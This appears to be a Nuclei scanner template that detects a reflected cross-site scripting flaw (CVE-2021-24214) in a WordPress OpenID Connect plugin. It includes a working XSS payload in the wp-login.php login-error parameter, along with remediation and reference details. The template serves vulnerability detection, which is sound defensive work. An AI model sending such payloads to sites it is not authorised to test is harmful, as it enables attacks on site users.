54 lines
1.9 KiB
YAML
54 lines
1.9 KiB
YAML
id: CVE-2021-24214
|
|
|
|
info:
|
|
name: WordPress OpenID Connect Generic Client 3.8.0-3.8.1 - Cross-Site Scripting
|
|
author: tess
|
|
severity: medium
|
|
description: WordPress OpenID Connect Generic Client plugin 3.8.0 and 3.8.1 contains a cross-site scripting vulnerability. It does not sanitize the login error when output back in the login form, thereby not requiring authentication, which can be exploited with the default configuration.
|
|
remediation: |
|
|
Update to the latest version of the WordPress OpenID Connect Generic Client plugin (3.8.2) to fix this vulnerability.
|
|
reference:
|
|
- https://wpscan.com/vulnerability/31cf0dfb-4025-4898-a5f4-fc7115565a10
|
|
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-24214
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-24214
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
|
cvss-score: 6.1
|
|
cve-id: CVE-2021-24214
|
|
cwe-id: CWE-79
|
|
epss-score: 0.00369
|
|
epss-percentile: 0.69555
|
|
cpe: cpe:2.3:a:daggerhartlab:openid_connect_generic_client:3.8.0:*:*:*:*:wordpress:*:*
|
|
metadata:
|
|
verified: true
|
|
max-request: 1
|
|
vendor: daggerhartlab
|
|
product: openid_connect_generic_client
|
|
framework: wordpress
|
|
tags: wpscan,cve,cve2021,wordpress,xss,wp-plugin,wp,openid
|
|
|
|
http:
|
|
- method: GET
|
|
path:
|
|
- '{{BaseURL}}/wp-login.php?login-error=<script>alert(document.domain)</script>'
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- 'ERROR (<script>alert(document.domain)</script>):'
|
|
- 'Login with OpenID Connect'
|
|
condition: and
|
|
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- text/html
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
# digest: 4a0a0047304502200cb5ca7169f64d280d11347905f9d8ddae0f58771edfc56a77bc30f44e9eeee1022100ccb2ace89ce1e5948dfe5a656ce93fde3ea50e3ac346caa20b44e0bdb31d248c:922c64590222798bb761d5b6d8e72950
|